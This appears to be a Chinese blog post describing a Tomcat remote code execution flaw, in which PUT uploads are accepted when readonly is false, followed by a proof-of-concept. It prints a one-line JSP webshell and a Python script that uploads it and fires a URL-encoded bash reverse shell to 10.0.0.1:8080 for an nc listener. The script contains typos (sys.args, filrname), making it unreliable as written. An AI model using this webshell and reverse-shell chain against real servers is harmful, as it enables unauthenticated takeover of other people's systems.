Tomcat远程任意代码执行漏洞及其POC

一、原理分析:

只需参数readonly设置为false或者使用参数readonly设置启用WebDAV servlet false,则Tomcat可以不经任何身份验证的控制直接接收PUT方式上传的文件,无论上传者是任何人,也无论上传的是任何文件。此时可以上传jsp文件,直接执行jsp代码。

二、实例分析:

我们上传1.txt,直接返回了201成功

不幸的是找到的这个环境对jsp上传是失败的,所以在一定程度上防止了getshell的。

如果能够上传jsp,只需传一个木马上去,执行反弹shell的命令,就可以搞定了。

<%Runtime.getRuntime().exec(request.getParameter("i"));%>

然后我们可以写一个脚本来搞定

三、验证POC:

poc的流程其实很简单,requests库发起put请求,上传payload如上,然后直接访问对应的url反弹shell就行。

只写出关键代码

复制代码
import sys
import uuid
import requests
targetip = sys.args[1]
targetport = sys.args[2]
filename = uuid.uuid1()
targeturl = "https://%s:%s/%s.jsp"%(targetip,targetport,filrname)
response = requests.put(targeturl,data='<%Runtime.getRuntime().exec(request.getParameter("i"));%>')
if response.status_code == 201:
     print "YES"
     requests.get(targeturl+"?i=%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%30%2e%30%2e%31%2f%38%30%38%30%20%30%3e%26%31%0a")
复制代码

参数i的部分URL编码后的:

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

只需要自己用nc监听者端口就可以了。

博主简介:博主国内安全行业目前最强大的网络安全公司做技术研究员,常年做技术工作。 获得过以下全国竞赛大奖: 《中国电子作品大赛一等奖》 《云计算技术大赛一等奖》 《AIIA人工智能大赛优胜奖》《网络安全知识竞赛一等奖》 《高新技术个人突出贡献奖》,并参与《虚拟化技术-**保密**》一书编写,现已出版。还拥有多项专利,多项软件著作权! 且学习状态上进,立志做技术牛逼的人。座右铭:在路上,永远年轻,永远热泪盈眶。可邮件联系博主共同进步,个人邮箱:pigeon_code@163.com
原文地址:https://www.cnblogs.com/mutudou/p/14652889.html